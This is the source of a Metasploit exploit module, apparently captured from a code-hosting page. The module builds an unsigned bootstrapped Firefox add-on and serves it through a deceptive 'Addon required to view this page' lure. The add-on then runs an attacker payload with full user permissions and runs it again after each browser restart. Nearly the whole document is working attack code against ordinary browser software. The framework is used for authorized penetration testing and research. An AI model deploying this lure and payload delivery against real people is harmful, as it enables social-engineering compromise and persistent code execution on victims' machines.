modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb from rapid7/metasploit-framework

modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb
Summary

Maintainability

1 hr
Test Coverage

Issues
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Remote::FirefoxAddonGenerator

  def initialize( info = {} )
    super( update_info( info,
      'Name'          => 'Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution',
      'Description'   => %q{
        Mozilla Firefox before version 41 allowed users to install
        unsigned browser extensions from arbitrary web servers.

        This module dynamically creates an unsigned .xpi addon file.
        The resulting bootstrapped Firefox addon is presented to
        the victim via a web page. The victim's Firefox browser
        will pop a dialog asking if they trust the addon.

        Once the user clicks "install", the addon is installed and
        executes the payload with full user permissions. As of Firefox
        4, this will work without a restart as the addon is marked to
        be "bootstrapped". As the addon will execute the payload after
        each Firefox restart, an option can be given to automatically
        uninstall the addon once the payload has been executed.

        As of Firefox 41, unsigned extensions can still be installed
        on Firefox Nightly, Unbranded and Development builds when
        configured with `xpinstall.signatures.required` set to `false`.

        Note: this module generates legacy extensions which are
        supported only in Firefox before version 57.
      },
      'License'       => MSF_LICENSE,
      'Author'        => [ 'mihi', 'joev' ],
      'DisclosureDate' => '2007-06-27',
      'References'    => [
        [ 'URL', 'https://blog.mozilla.org/addons/2015/02/10/extension-signing-safer-experience/' ],
        [ 'URL', 'https://blog.mozilla.org/addons/2015/04/15/the-case-for-extension-signing/' ],
        [ 'URL', 'https://support.mozilla.org/en-US/kb/frequently-asked-questions-firefox-addon' ],
        [ 'URL', 'https://web.archive.org/web/20170727035940/https://developer.mozilla.org/en-US/Add-ons/Bootstrapped_extensions' ],
        [ 'URL', 'https://web.archive.org/web/20160322014439/https://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector' ]
      ],
      'Notes' => {
        'Reliability' => [REPEATABLE_SESSION],
        'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, SCREEN_EFFECTS],
        'Stability' => [CRASH_SAFE]
      }
    ))
  end

  def on_request_uri(cli, request)
    if request.uri.match(/\.xpi$/i)
      # browser has navigated to the .xpi file
      print_status("Sending xpi and waiting for user to click 'accept'...")
      if not xpi = generate_addon_xpi(cli)
        print_error("Failed to generate the payload.")
        send_not_found(cli)
      else
        send_response(cli, xpi.pack, { 'Content-Type' => 'application/x-xpinstall' })
      end
    else
      # initial browser request
      # force the user to access a directory-like URL
      if not request.uri.match(/\/$/)
        print_status("Redirecting request." )
        send_redirect(cli, "#{get_resource}/")
      else
        # user has navigated
        print_status("Sending HTML response." )
        send_response_html(cli, generate_html)
      end
    end

    handler(cli)
  end

  def generate_html
    html  = %Q|<html><head><title>Loading, Please Wait...</title>\n|
    html << %Q|<meta http-equiv="refresh" content="0; url=addon.xpi"></head>\n|
    html << %Q|<body><center><p>Addon required to view this page. <a href="addon.xpi">[Install]</a></p></center>\n|
    html << %Q|</body></html>|
    return html
  end
end